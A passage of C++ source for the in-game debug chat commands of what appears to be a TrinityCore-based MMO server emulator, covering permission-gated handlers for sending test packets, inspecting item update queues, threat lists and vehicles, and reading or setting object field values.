rbac::RBAC_PERM_COMMAND_DEBUG_HOSTIL, false, &HandleDebugHostileRefListCommand, "", NULL }, { "anim", rbac::RBAC_PERM_COMMAND_DEBUG_ANIM, false, &HandleDebugAnimCommand, "", NULL }, { "arena", rbac::RBAC_PERM_COMMAND_DEBUG_ARENA, false, &HandleDebugArenaCommand, "", NULL }, { "bg", rbac::RBAC_PERM_COMMAND_DEBUG_BG, false, &HandleDebugBattlegroundCommand, "", NULL }, { "getitemstate", rbac::RBAC_PERM_COMMAND_DEBUG_GETITEMSTATE, false, &HandleDebugGetItemStateCommand, "", NULL }, { "lootrecipient", rbac::RBAC_PERM_COMMAND_DEBUG_LOOTRECIPIENT, false, &HandleDebugGetLootRecipientCommand, "", NULL }, { "getvalue", rbac::RBAC_PERM_COMMAND_DEBUG_GETVALUE, false, &HandleDebugGetValueCommand, "", NULL }, { "getitemvalue", rbac::RBAC_PERM_COMMAND_DEBUG_GETITEMVALUE, false, &HandleDebugGetItemValueCommand, "", NULL }, { "Mod32Value", rbac::RBAC_PERM_COMMAND_DEBUG_MOD32VALUE, false, &HandleDebugMod32ValueCommand, "", NULL }, { "play", rbac::RBAC_PERM_COMMAND_DEBUG_PLAY, false, NULL, "", debugPlayCommandTable }, { "send", rbac::RBAC_PERM_COMMAND_DEBUG_SEND, false, NULL, "", debugSendCommandTable }, { "setaurastate", rbac::RBAC_PERM_COMMAND_DEBUG_SETAURASTATE, false, &HandleDebugSetAuraStateCommand, "", NULL }, { "setitemvalue", rbac::RBAC_PERM_COMMAND_DEBUG_SETITEMVALUE, false, &HandleDebugSetItemValueCommand, "", NULL }, { "setvalue", rbac::RBAC_PERM_COMMAND_DEBUG_SETVALUE, false, &HandleDebugSetValueCommand, "", NULL }, { "spawnvehicle", rbac::RBAC_PERM_COMMAND_DEBUG_SPAWNVEHICLE, false, &HandleDebugSpawnVehicleCommand, "", NULL }, { "setvid", rbac::RBAC_PERM_COMMAND_DEBUG_SETVID, false, &HandleDebugSetVehicleIdCommand, "", NULL }, { "entervehicle", rbac::RBAC_PERM_COMMAND_DEBUG_ENTERVEHICLE, false, &HandleDebugEnterVehicleCommand, "", NULL }, { "uws", rbac::RBAC_PERM_COMMAND_DEBUG_UWS, false, &HandleDebugUpdateWorldStateCommand, "", NULL }, { "update", rbac::RBAC_PERM_COMMAND_DEBUG_UPDATE, false, &HandleDebugUpdateCommand, "", NULL }, { "itemexpire", rbac::RBAC_PERM_COMMAND_DEBUG_ITEMEXPIRE, false, &HandleDebugItemExpireCommand, "", NULL }, { "areatriggers", rbac::RBAC_PERM_COMMAND_DEBUG_AREATRIGGERS, false, &HandleDebugAreaTriggersCommand, "", NULL }, { "los", rbac::RBAC_PERM_COMMAND_DEBUG_LOS, false, &HandleDebugLoSCommand, "", NULL }, { "moveflags", rbac::RBAC_PERM_COMMAND_DEBUG_MOVEFLAGS, false, &HandleDebugMoveflagsCommand, "", NULL }, { "transport", rbac::RBAC_PERM_COMMAND_DEBUG_TRANSPORT, false, &HandleDebugTransportCommand, "", NULL }, { "phase", rbac::RBAC_PERM_COMMAND_DEBUG_PHASE, false, &HandleDebugPhaseCommand, "", NULL }, { NULL, 0, false, NULL, "", NULL } }; static ChatCommand commandTable[] = { { "debug", rbac::RBAC_PERM_COMMAND_DEBUG, true, NULL, "", debugCommandTable }, { "wpgps", rbac::RBAC_PERM_COMMAND_WPGPS, false, &HandleWPGPSCommand, "", NULL }, { NULL, 0, false, NULL, "", NULL } }; return commandTable; } static bool HandleDebugPlayCinematicCommand(ChatHandler* handler, char const* args) { // USAGE: .debug play cinematic #cinematicid // #cinematicid - ID decimal number from CinemaicSequences.dbc (1st column) if (!*args) { handler->SendSysMessage(LANG_BAD_VALUE); handler->SetSentErrorMessage(true); return false; } uint32 id = atoi((char*)args); if (!sCinematicSequencesStore.LookupEntry(id)) { handler->PSendSysMessage(LANG_CINEMATIC_NOT_EXIST, id); handler->SetSentErrorMessage(true); return false; } handler->GetSession()->GetPlayer()->SendCinematicStart(id); return true; } static bool HandleDebugPlayMovieCommand(ChatHandler* handler, char const* args) { // USAGE: .debug play movie #movieid // #movieid - ID decimal number from Movie.dbc (1st column) if (!*args) { handler->SendSysMessage(LANG_BAD_VALUE); handler->SetSentErrorMessage(true); return false; } uint32 id = atoi((char*)args); if (!sMovieStore.LookupEntry(id)) { handler->PSendSysMessage(LANG_MOVIE_NOT_EXIST, id); handler->SetSentErrorMessage(true); return false; } handler->GetSession()->GetPlayer()->SendMovieStart(id); return true; } //Play sound static bool HandleDebugPlaySoundCommand(ChatHandler* handler, char const* args) { // USAGE: .debug playsound #soundid // #soundid - ID decimal number from SoundEntries.dbc (1st column) if (!*args) { handler->SendSysMessage(LANG_BAD_VALUE); handler->SetSentErrorMessage(true); return false; } uint32 soundId = atoi((char*)args); if (!sSoundEntriesStore.LookupEntry(soundId)) { handler->PSendSysMessage(LANG_SOUND_NOT_EXIST, soundId); handler->SetSentErrorMessage(true); return false; } Unit* unit = handler->getSelectedUnit(); if (!unit) { handler->SendSysMessage(LANG_SELECT_CHAR_OR_CREATURE); handler->SetSentErrorMessage(true); return false; } if (handler->GetSession()->GetPlayer()->GetTarget()) unit->PlayDistanceSound(soundId, handler->GetSession()->GetPlayer()); else unit->PlayDirectSound(soundId, handler->GetSession()->GetPlayer()); handler->PSendSysMessage(LANG_YOU_HEAR_SOUND, soundId); return true; } static bool HandleDebugSendSpellFailCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char* result = strtok((char*)args, " "); if (!result) return false; uint8 failNum = (uint8)atoi(result); if (failNum == 0 && *result != '0') return false; char* fail1 = strtok(NULL, " "); uint8 failArg1 = fail1 ? (uint8)atoi(fail1) : 0; char* fail2 = strtok(NULL, " "); uint8 failArg2 = fail2 ? (uint8)atoi(fail2) : 0; WorldPacket data(SMSG_CAST_FAILED, 5); data << uint8(0); data << uint32(133); data << uint8(failNum); if (fail1 || fail2) data << uint32(failArg1); if (fail2) data << uint32(failArg2); handler->GetSession()->SendPacket(&data); return true; } static bool HandleDebugSendEquipErrorCommand(ChatHandler* handler, char const* args) { if (!*args) return false; InventoryResult msg = InventoryResult(atoi(args)); handler->GetSession()->GetPlayer()->SendEquipError(msg, NULL, NULL); return true; } static bool HandleDebugSendSellErrorCommand(ChatHandler* handler, char const* args) { if (!*args) return false; SellResult msg = SellResult(atoi(args)); handler->GetSession()->GetPlayer()->SendSellError(msg, 0, 0); return true; } static bool HandleDebugSendBuyErrorCommand(ChatHandler* handler, char const* args) { if (!*args) return false; BuyResult msg = BuyResult(atoi(args)); handler->GetSession()->GetPlayer()->SendBuyError(msg, 0, 0, 0); return true; } static bool HandleDebugSendOpcodeCommand(ChatHandler* handler, char const* /*args*/) { Unit* unit = handler->getSelectedUnit(); Player* player = NULL; if (!unit || (unit->GetTypeId() != TYPEID_PLAYER)) player = handler->GetSession()->GetPlayer(); else player = unit->ToPlayer(); if (!unit) unit = player; std::ifstream ifs("opcode.txt"); if (ifs.fail()) return false; // remove comments from file std::stringstream parsedStream; while (!ifs.eof()) { char commentToken[2]; ifs.get(commentToken[0]); if (commentToken[0] == '/' && !ifs.eof()) { ifs.get(commentToken[1]); // /* comment if (commentToken[1] == '*') { while (!ifs.eof()) { ifs.get(commentToken[0]); if (commentToken[0] == '*' && !ifs.eof()) { ifs.get(commentToken[1]); if (commentToken[1] == '/') break; else ifs.putback(commentToken[1]); } } continue; } // line comment else if (commentToken[1] == '/') { std::string str; getline(ifs, str); continue; } // regular data else ifs.putback(commentToken[1]); } parsedStream.put(commentToken[0]); } ifs.close(); uint32 opcode; parsedStream >> opcode; WorldPacket data(Opcodes(opcode), 0); while (!parsedStream.eof()) { std::string type; parsedStream >> type; if (type == "") break; if (type == "uint8") { uint16 val1; parsedStream >> val1; data << uint8(val1); } else if (type == "uint16") { uint16 val2; parsedStream >> val2; data << val2; } else if (type == "uint32") { uint32 val3; parsedStream >> val3; data << val3; } else if (type == "uint64") { uint64 val4; parsedStream >> val4; data << val4; } else if (type == "float") { float val5; parsedStream >> val5; data << val5; } else if (type == "string") { std::string val6; parsedStream >> val6; data << val6; } else if (type == "appitsguid") { data.append(unit->GetPackGUID()); } else if (type == "appmyguid") { data.append(player->GetPackGUID()); } else if (type == "appgoguid") { GameObject* obj = handler->GetNearbyGameObject(); if (!obj) { handler->PSendSysMessage(LANG_COMMAND_OBJNOTFOUND, 0); handler->SetSentErrorMessage(true); ifs.close(); return false; } data.append(obj->GetPackGUID()); } else if (type == "goguid") { GameObject* obj = handler->GetNearbyGameObject(); if (!obj) { handler->PSendSysMessage(LANG_COMMAND_OBJNOTFOUND, 0); handler->SetSentErrorMessage(true); ifs.close(); return false; } data << uint64(obj->GetGUID()); } else if (type == "myguid") { data << uint64(player->GetGUID()); } else if (type == "itsguid") { data << uint64(unit->GetGUID()); } else if (type == "itspos") { data << unit->GetPositionX(); data << unit->GetPositionY(); data << unit->GetPositionZ(); } else if (type == "mypos") { data << player->GetPositionX(); data << player->GetPositionY(); data << player->GetPositionZ(); } else { TC_LOG_ERROR(LOG_FILTER_GENERAL, "Sending opcode that has unknown type '%s'", type.c_str()); break; } } TC_LOG_DEBUG(LOG_FILTER_NETWORKIO, "Sending opcode %u", data.GetOpcode()); data.hexlike(); player->GetSession()->SendPacket(&data, true); handler->PSendSysMessage(LANG_COMMAND_OPCODESENT, data.GetOpcode(), unit->GetName().c_str()); return true; } static bool HandleDebugUpdateWorldStateCommand(ChatHandler* handler, char const* args) { char* w = strtok((char*)args, " "); char* s = strtok(NULL, " "); if (!w || !s) return false; uint32 world = (uint32)atoi(w); uint32 state = (uint32)atoi(s); handler->GetSession()->GetPlayer()->SendUpdateWorldState(world, state); return true; } static bool HandleDebugAreaTriggersCommand(ChatHandler* handler, char const* /*args*/) { Player* player = handler->GetSession()->GetPlayer(); if (!player->isDebugAreaTriggers) { handler->PSendSysMessage(LANG_DEBUG_AREATRIGGER_ON); player->isDebugAreaTriggers = true; } else { handler->PSendSysMessage(LANG_DEBUG_AREATRIGGER_OFF); player->isDebugAreaTriggers = false; } return true; } //Send notification in channel static bool HandleDebugSendChannelNotifyCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char const* name = "test"; uint8 code = atoi(args); WorldPacket data(SMSG_CHANNEL_NOTIFY, (1+10)); data << code; // notify type data << name; // channel name data << uint32(0); data << uint32(0); handler->GetSession()->SendPacket(&data); return true; } //Send notification in chat static bool HandleDebugSendChatMsgCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char const* msg = "testtest"; uint8 type = atoi(args); WorldPacket data; ChatHandler::FillMessageData(&data, handler->GetSession(), type, 0, "chan", handler->GetSession()->GetPlayer()->GetGUID(), msg, handler->GetSession()->GetPlayer()); handler->GetSession()->SendPacket(&data); return true; } static bool HandleDebugSendQuestPartyMsgCommand(ChatHandler* handler, char const* args) { uint32 msg = atol((char*)args); handler->GetSession()->GetPlayer()->SendPushToPartyResponse(handler->GetSession()->GetPlayer(), msg); return true; } static bool HandleDebugGetLootRecipientCommand(ChatHandler* handler, char const* /*args*/) { Creature* target = handler->getSelectedCreature(); if (!target) return false; handler->PSendSysMessage("Loot recipient for creature %s (GUID %u, DB GUID %u) is %s", target->GetName().c_str(), target->GetGUIDLow(), target->GetDBTableGUIDLow(), target->hasLootRecipient() ? (target->GetLootRecipient() ? target->GetLootRecipient()->GetName().c_str() : "offline") : "no loot recipient"); return true; } static bool HandleDebugSendQuestInvalidMsgCommand(ChatHandler* handler, char const* args) { QuestFailedReason msg = static_cast<QuestFailedReason>(atol((char*)args)); handler->GetSession()->GetPlayer()->SendCanTakeQuestResponse(msg); return true; } static bool HandleDebugGetItemStateCommand(ChatHandler* handler, char const* args) { if (!*args) return false; std::string itemState = args; ItemUpdateState state = ITEM_UNCHANGED; bool listQueue = false; bool checkAll = false; if (itemState == "unchanged") state = ITEM_UNCHANGED; else if (itemState == "changed") state = ITEM_CHANGED; else if (itemState == "new") state = ITEM_NEW; else if (itemState == "removed") state = ITEM_REMOVED; else if (itemState == "queue") listQueue = true; else if (itemState == "check_all") checkAll = true; else return false; Player* player = handler->getSelectedPlayer(); if (!player) player = handler->GetSession()->GetPlayer(); if (!listQueue && !checkAll) { itemState = "The player has the following " + itemState + " items: "; handler->SendSysMessage(itemState.c_str()); for (uint8 i = PLAYER_SLOT_START; i < PLAYER_SLOT_END; ++i) { if (i >= BUYBACK_SLOT_START && i < BUYBACK_SLOT_END) continue; if (Item* item = player->GetItemByPos(INVENTORY_SLOT_BAG_0, i)) { if (Bag* bag = item->ToBag()) { for (uint8 j = 0; j < bag->GetBagSize(); ++j) if (Item* item2 = bag->GetItemByPos(j)) if (item2->GetState() == state) handler->PSendSysMessage("bag: 255 slot: %d guid: %d owner: %d", item2->GetSlot(), item2->GetGUIDLow(), GUID_LOPART(item2->GetOwnerGUID())); } else if (item->GetState() == state) handler->PSendSysMessage("bag: 255 slot: %d guid: %d owner: %d", item->GetSlot(), item->GetGUIDLow(), GUID_LOPART(item->GetOwnerGUID())); } } } if (listQueue) { std::vector<Item*>& updateQueue = player->GetItemUpdateQueue(); for (size_t i = 0; i < updateQueue.size(); ++i) { Item* item = updateQueue[i]; if (!item) continue; Bag* container = item->GetContainer(); uint8 bagSlot = container ? container->GetSlot() : uint8(INVENTORY_SLOT_BAG_0); std::string st; switch (item->GetState()) { case ITEM_UNCHANGED: st = "unchanged"; break; case ITEM_CHANGED: st = "changed"; break; case ITEM_NEW: st = "new"; break; case ITEM_REMOVED: st = "removed"; break; } handler->PSendSysMessage("bag: %d slot: %d guid: %d - state: %s", bagSlot, item->GetSlot(), item->GetGUIDLow(), st.c_str()); } if (updateQueue.empty()) handler->PSendSysMessage("The player's updatequeue is empty"); } if (checkAll) { bool error = false; std::vector<Item*>& updateQueue = player->GetItemUpdateQueue(); for (uint8 i = PLAYER_SLOT_START; i < PLAYER_SLOT_END; ++i) { if (i >= BUYBACK_SLOT_START && i < BUYBACK_SLOT_END) continue; Item* item = player->GetItemByPos(INVENTORY_SLOT_BAG_0, i); if (!item) continue; if (item->GetSlot() != i) { handler->PSendSysMessage("Item with slot %d and guid %d has an incorrect slot value: %d", i, item->GetGUIDLow(), item->GetSlot()); error = true; continue; } if (item->GetOwnerGUID() != player->GetGUID()) { handler->PSendSysMessage("The item with slot %d and itemguid %d does have non-matching owner guid (%d) and player guid (%d) !", item->GetSlot(), item->GetGUIDLow(), GUID_LOPART(item->GetOwnerGUID()), player->GetGUIDLow()); error = true; continue; } if (Bag* container = item->GetContainer()) { handler->PSendSysMessage("The item with slot %d and guid %d has a container (slot: %d, guid: %d) but shouldn't!", item->GetSlot(), item->GetGUIDLow(), container->GetSlot(), container->GetGUIDLow()); error = true; continue; } if (item->IsInUpdateQueue()) { uint16 qp = item->GetQueuePos(); if (qp > updateQueue.size()) { handler->PSendSysMessage("The item with slot %d and guid %d has its queuepos (%d) larger than the update queue size! ", item->GetSlot(), item->GetGUIDLow(), qp); error = true; continue; } if (updateQueue[qp] == NULL) { handler->PSendSysMessage("The item with slot %d and guid %d has its queuepos (%d) pointing to NULL in the queue!", item->GetSlot(), item->GetGUIDLow(), qp); error = true; continue; } if (updateQueue[qp] != item) { handler->PSendSysMessage("The item with slot %d and guid %d has a queuepos (%d) that points to another item in the queue (bag: %d, slot: %d, guid: %d)", item->GetSlot(), item->GetGUIDLow(), qp, updateQueue[qp]->GetBagSlot(), updateQueue[qp]->GetSlot(), updateQueue[qp]->GetGUIDLow()); error = true; continue; } } else if (item->GetState() != ITEM_UNCHANGED) { handler->PSendSysMessage("The item with slot %d and guid %d is not in queue but should be (state: %d)!", item->GetSlot(), item->GetGUIDLow(), item->GetState()); error = true; continue; } if (Bag* bag = item->ToBag()) { for (uint8 j = 0; j < bag->GetBagSize(); ++j) { Item* item2 = bag->GetItemByPos(j); if (!item2) continue; if (item2->GetSlot() != j) { handler->PSendSysMessage("The item in bag %d and slot %d (guid: %d) has an incorrect slot value: %d", bag->GetSlot(), j, item2->GetGUIDLow(), item2->GetSlot()); error = true; continue; } if (item2->GetOwnerGUID() != player->GetGUID()) { handler->PSendSysMessage("The item in bag %d at slot %d and with itemguid %d, the owner's guid (%d) and the player's guid (%d) don't match!", bag->GetSlot(), item2->GetSlot(), item2->GetGUIDLow(), GUID_LOPART(item2->GetOwnerGUID()), player->GetGUIDLow()); error = true; continue; } Bag* container = item2->GetContainer(); if (!container) { handler->PSendSysMessage("The item in bag %d at slot %d with guid %d has no container!", bag->GetSlot(), item2->GetSlot(), item2->GetGUIDLow()); error = true; continue; } if (container != bag) { handler->PSendSysMessage("The item in bag %d at slot %d with guid %d has a different container(slot %d guid %d)!", bag->GetSlot(), item2->GetSlot(), item2->GetGUIDLow(), container->GetSlot(), container->GetGUIDLow()); error = true; continue; } if (item2->IsInUpdateQueue()) { uint16 qp = item2->GetQueuePos(); if (qp > updateQueue.size()) { handler->PSendSysMessage("The item in bag %d at slot %d having guid %d has a queuepos (%d) larger than the update queue size! ", bag->GetSlot(), item2->GetSlot(), item2->GetGUIDLow(), qp); error = true; continue; } if (updateQueue[qp] == NULL) { handler->PSendSysMessage("The item in bag %d at slot %d having guid %d has a queuepos (%d) that points to NULL in the queue!", bag->GetSlot(), item2->GetSlot(), item2->GetGUIDLow(), qp); error = true; continue; } if (updateQueue[qp] != item2) { handler->PSendSysMessage("The item in bag %d at slot %d having guid %d has a queuepos (%d) that points to another item in the queue (bag: %d, slot: %d, guid: %d)", bag->GetSlot(), item2->GetSlot(), item2->GetGUIDLow(), qp, updateQueue[qp]->GetBagSlot(), updateQueue[qp]->GetSlot(), updateQueue[qp]->GetGUIDLow()); error = true; continue; } } else if (item2->GetState() != ITEM_UNCHANGED) { handler->PSendSysMessage("The item in bag %d at slot %d having guid %d is not in queue but should be (state: %d)!", bag->GetSlot(), item2->GetSlot(), item2->GetGUIDLow(), item2->GetState()); error = true; continue; } } } } for (size_t i = 0; i < updateQueue.size(); ++i) { Item* item = updateQueue[i]; if (!item) continue; if (item->GetOwnerGUID() != player->GetGUID()) { handler->PSendSysMessage("queue(" SIZEFMTD "): For the item with guid %d, the owner's guid (%d) and the player's guid (%d) don't match!", i, item->GetGUIDLow(), GUID_LOPART(item->GetOwnerGUID()), player->GetGUIDLow()); error = true; continue; } if (item->GetQueuePos() != i) { handler->PSendSysMessage("queue(" SIZEFMTD "): For the item with guid %d, the queuepos doesn't match it's position in the queue!", i, item->GetGUIDLow()); error = true; continue; } if (item->GetState() == ITEM_REMOVED) continue; Item* test = player->GetItemByPos(item->GetBagSlot(), item->GetSlot()); if (test == NULL) { handler->PSendSysMessage("queue(" SIZEFMTD "): The bag(%d) and slot(%d) values for the item with guid %d are incorrect, the player doesn't have any item at that position!", i, item->GetBagSlot(), item->GetSlot(), item->GetGUIDLow()); error = true; continue; } if (test != item) { handler->PSendSysMessage("queue(" SIZEFMTD "): The bag(%d) and slot(%d) values for the item with guid %d are incorrect, an item which guid is %d is there instead!", i, item->GetBagSlot(), item->GetSlot(), item->GetGUIDLow(), test->GetGUIDLow()); error = true; continue; } } if (!error) handler->SendSysMessage("All OK!"); } return true; } static bool HandleDebugBattlegroundCommand(ChatHandler* /*handler*/, char const* /*args*/) { sBattlegroundMgr->ToggleTesting(); return true; } static bool HandleDebugArenaCommand(ChatHandler* /*handler*/, char const* /*args*/) { sBattlegroundMgr->ToggleArenaTesting(); return true; } static bool HandleDebugThreatListCommand(ChatHandler* handler, char const* /*args*/) { Creature* target = handler->getSelectedCreature(); if (!target || target->IsTotem() || target->IsPet()) return false; ThreatContainer::StorageType const &threatList = target->getThreatManager().getThreatList(); ThreatContainer::StorageType::const_iterator itr; uint32 count = 0; handler->PSendSysMessage("Threat list of %s (guid %u)", target->GetName().c_str(), target->GetGUIDLow()); for (itr = threatList.begin(); itr != threatList.end(); ++itr) { Unit* unit = (*itr)->getTarget(); if (!unit) continue; ++count; handler->PSendSysMessage(" %u. %s (guid %u) - threat %f", count, unit->GetName().c_str(), unit->GetGUIDLow(), (*itr)->getThreat()); } handler->SendSysMessage("End of threat list."); return true; } static bool HandleDebugHostileRefListCommand(ChatHandler* handler, char const* /*args*/) { Unit* target = handler->getSelectedUnit(); if (!target) target = handler->GetSession()->GetPlayer(); HostileReference* ref = target->getHostileRefManager().getFirst(); uint32 count = 0; handler->PSendSysMessage("Hostil reference list of %s (guid %u)", target->GetName().c_str(), target->GetGUIDLow()); while (ref) { if (Unit* unit = ref->GetSource()->GetOwner()) { ++count; handler->PSendSysMessage(" %u. %s (guid %u) - threat %f", count, unit->GetName().c_str(), unit->GetGUIDLow(), ref->getThreat()); } ref = ref->next(); } handler->SendSysMessage("End of hostil reference list."); return true; } static bool HandleDebugSetVehicleIdCommand(ChatHandler* handler, char const* args) { Unit* target = handler->getSelectedUnit(); if (!target || target->IsVehicle()) return false; if (!args) return false; char* i = strtok((char*)args, " "); if (!i) return false; uint32 id = (uint32)atoi(i); //target->SetVehicleId(id); handler->PSendSysMessage("Vehicle id set to %u", id); return true; } static bool HandleDebugEnterVehicleCommand(ChatHandler* handler, char const* args) { Unit* target = handler->getSelectedUnit(); if (!target || !target->IsVehicle()) return false; if (!args) return false; char* i = strtok((char*)args, " "); if (!i) return false; char* j = strtok(NULL, " "); uint32 entry = (uint32)atoi(i); int8 seatId = j ? (int8)atoi(j) : -1; if (!entry) handler->GetSession()->GetPlayer()->EnterVehicle(target, seatId); else { Creature* passenger = NULL; Trinity::AllCreaturesOfEntryInRange check(handler->GetSession()->GetPlayer(), entry, 20.0f); Trinity::CreatureSearcher<Trinity::AllCreaturesOfEntryInRange> searcher(handler->GetSession()->GetPlayer(), passenger, check); handler->GetSession()->GetPlayer()->VisitNearbyObject(30.0f, searcher); if (!passenger || passenger == target) return false; passenger->EnterVehicle(target, seatId); } handler->PSendSysMessage("Unit %u entered vehicle %d", entry, (int32)seatId); return true; } static bool HandleDebugSpawnVehicleCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char* e = strtok((char*)args, " "); char* i = strtok(NULL, " "); if (!e) return false; uint32 entry = (uint32)atoi(e); float x, y, z, o = handler->GetSession()->GetPlayer()->GetOrientation(); handler->GetSession()->GetPlayer()->GetClosePoint(x, y, z, handler->GetSession()->GetPlayer()->GetObjectSize()); if (!i) return handler->GetSession()->GetPlayer()->SummonCreature(entry, x, y, z, o); uint32 id = (uint32)atoi(i); CreatureTemplate const* ci = sObjectMgr->GetCreatureTemplate(entry); if (!ci) return false; VehicleEntry const* ve = sVehicleStore.LookupEntry(id); if (!ve) return false; Creature* v = new Creature; Map* map = handler->GetSession()->GetPlayer()->GetMap(); if (!v->Create(sObjectMgr->GenerateLowGuid(HIGHGUID_VEHICLE), map, handler->GetSession()->GetPlayer()->GetPhaseMask(), entry, id, handler->GetSession()->GetPlayer()->GetTeam(), x, y, z, o)) { delete v; return false; } map->AddToMap(v->ToCreature()); return true; } static bool HandleDebugSendLargePacketCommand(ChatHandler* handler, char const* /*args*/) { const char* stuffingString = "This is a dummy string to push the packet's size beyond 128000 bytes. "; std::ostringstream ss; while (ss.str().size() < 128000) ss << stuffingString; handler->SendSysMessage(ss.str().c_str()); return true; } static bool HandleDebugSendSetPhaseShiftCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char* t = strtok((char*)args, " "); char* p = strtok(NULL, " "); if (!t) return false; std::set<uint32> terrainswap; std::set<uint32> phaseId; terrainswap.insert((uint32)atoi(t)); if (p) phaseId.insert((uint32)atoi(p)); handler->GetSession()->SendSetPhaseShift(phaseId, terrainswap); return true; } static bool HandleDebugGetItemValueCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char* e = strtok((char*)args, " "); char* f = strtok(NULL, " "); if (!e || !f) return false; uint32 guid = (uint32)atoi(e); uint32 index = (uint32)atoi(f); Item* i = handler->GetSession()->GetPlayer()->GetItemByGuid(MAKE_NEW_GUID(guid, 0, HIGHGUID_ITEM)); if (!i) return false; if (index >= i->GetValuesCount()) return false; uint32 value = i->GetUInt32Value(index); handler->PSendSysMessage("Item %u: value at %u is %u", guid, index, value); return true; } static bool HandleDebugSetItemValueCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char* e = strtok((char*)args, " "); char* f = strtok(NULL, " "); char* g = strtok(NULL, " "); if (!e || !f || !g) return false; uint32 guid = (uint32)atoi(e); uint32 index = (uint32)atoi(f); uint32 value = (uint32)atoi(g); Item* i = handler->GetSession()->GetPlayer()->GetItemByGuid(MAKE_NEW_GUID(guid, 0, HIGHGUID_ITEM)); if (!i) return false; if (index >= i->GetValuesCount()) return false; i->SetUInt32Value(index, value); return true; } static bool HandleDebugItemExpireCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char* e = strtok((char*)args, " "); if (!e) return false; uint32 guid = (uint32)atoi(e); Item* i = handler->GetSession()->GetPlayer()->GetItemByGuid(MAKE_NEW_GUID(guid, 0, HIGHGUID_ITEM)); if (!i) return false; handler->GetSession()->GetPlayer()->DestroyItem(i->GetBagSlot(), i->GetSlot(), true); sScriptMgr->OnItemExpire(handler->GetSession()->GetPlayer(), i->GetTemplate()); return true; } //show animation static bool HandleDebugAnimCommand(ChatHandler* handler, char const* args) { if (!*args) return false; uint32 animId = atoi((char*)args); handler->GetSession()->GetPlayer()->HandleEmoteCommand(animId); return true; } static bool HandleDebugLoSCommand(ChatHandler* handler, char const* /*args*/) { if (Unit* unit = handler->getSelectedUnit()) handler->PSendSysMessage("Unit %s (GuidLow: %u) is %sin LoS", unit->GetName().c_str(), unit->GetGUIDLow(), handler->GetSession()->GetPlayer()->IsWithinLOSInMap(unit) ? "" : "not "); return true; } static bool HandleDebugSetAuraStateCommand(ChatHandler* handler, char const* args) { if (!*args) { handler->SendSysMessage(LANG_BAD_VALUE); handler->SetSentErrorMessage(true); return false; } Unit* unit = handler->getSelectedUnit(); if (!unit) { handler->SendSysMessage(LANG_SELECT_CHAR_OR_CREATURE); handler->SetSentErrorMessage(true); return false; } int32 state = atoi((char*)args); if (!state) { // reset all states for (int i = 1; i <= 32; ++i) unit->ModifyAuraState(AuraStateType(i), false); return true; } unit->ModifyAuraState(AuraStateType(abs(state)), state > 0); return true; } static bool HandleDebugSetValueCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char* x = strtok((char*)args, " "); char* y = strtok(NULL, " "); char* z = strtok(NULL, " "); if (!x || !y) return false; WorldObject* target = handler->getSelectedObject(); if (!target) { handler->SendSysMessage(LANG_SELECT_CHAR_OR_CREATURE); handler->SetSentErrorMessage(true); return false; } uint64 guid = target->GetGUID(); uint32 opcode = (uint32)atoi(x); if (opcode >= target->GetValuesCount()) { handler->PSendSysMessage(LANG_TOO_BIG_INDEX, opcode, GUID_LOPART(guid), target->GetValuesCount()); return false; } bool isInt32 = true; if (z) isInt32 = (bool)atoi(z); if (isInt32) { uint32 value = (uint32)atoi(y); target->SetUInt32Value(opcode, value); handler->PSendSysMessage(LANG_SET_UINT_FIELD, GUID_LOPART(guid), opcode, value); } else { float value = (float)atof(y); target->SetFloatValue(opcode, value); handler->PSendSysMessage(LANG_SET_FLOAT_FIELD, GUID_LOPART(guid), opcode, value); } return true; } static bool HandleDebugGetValueCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char* x = strtok((char*)args, " "); char* z = strtok(NULL, " "); if (!x) return false; Unit* target = handler->getSelectedUnit(); if (!target) { handler->SendSysMessage(LANG_SELECT_CHAR_OR_CREATURE); handler->SetSentErrorMessage(true); return false; } uint64 guid = target->GetGUID(); uint32 opcode = (uint32)atoi(x); if (opcode >= target->GetValuesCount()) { handler->PSendSysMessage(LANG_TOO_BIG_INDEX, opcode, GUID_LOPART(guid), target->GetValuesCount()); return false; } bool isInt32 = true; if (z) isInt32 = (bool)atoi(z); if (isInt32) { uint32 value = target->GetUInt32Value(opcode); handler->PSendSysMessage(LANG_GET_UINT_FIELD, GUID_LOPART(guid), opcode, value); } else { float value = target->GetFloatValue(opcode); handler->PSendSysMessage(LANG_GET_FLOAT_FIELD, GUID_LOPART(guid), opcode, value); } return true; } static bool HandleDebugMod32ValueCommand(ChatHandler* handler, char const* args) { if (!*args) return false; char* x = strtok((char*)args, " "); char* y = strtok(NULL, " "); if (!x || !y) return false; uint32 opcode = (uint32)atoi(x); int value = atoi(y); if (opcode >= handler->GetSession()->GetPlayer()->GetValuesCount()) { handler->PSendSysMessage(LANG_TOO_BIG_INDEX, opcode, handler->GetSession()->GetPlayer()->GetGUIDLow(), handler->GetSession()->GetPlayer()->GetValuesCount()); return false; } int currentValue = (int)handler->GetSession()->GetPlayer()->GetUInt32Value(opcode); currentValue += value; handler->GetSession()->GetPlayer()->SetUInt32Value(opcode, (uint32)currentValue); handler->PSendSysMessage(LANG_CHANGE_32BIT_FIELD, opcode, currentValue); return true; } static bool HandleDebugUpdateCommand(ChatHandler* handler, char const* args) { if (!*args) return false; uint32 updateIndex; uint32 value; char* index = strtok((char*)args, " "); Unit* unit = handler->getSelectedUnit(); if (!unit) { handler->SendSysMessage(LANG_SELECT_CHAR_OR_CREATURE); handler->SetSentErrorMessage(true); return false; } if (!index) return true; updateIndex = atoi(index); //check updateIndex if (unit->GetTypeId() == TYPEID_PLAYER) { if (updateIndex >= PLAYER_END) return true; } else if (updateIndex >= UNIT_END) return true; char* val = strtok(NULL, " "); if (!val) { value = unit->GetUInt32Value(updateIndex); handler->PSendSysMessage(LANG_UPDATE, unit->GetGUIDLow(), updateIndex, value); return true; } value = atoi(val); handler->PSendSysMessage(LANG_UPDATE_CHANGE, unit->GetGUIDLow(), updateIndex, value); unit->SetUInt32Value(updateIndex, value); return true; } static bool HandleDebugSet32BitCommand(ChatHandler* handler, char const* args) { if (!*args) return false; WorldObject* target = 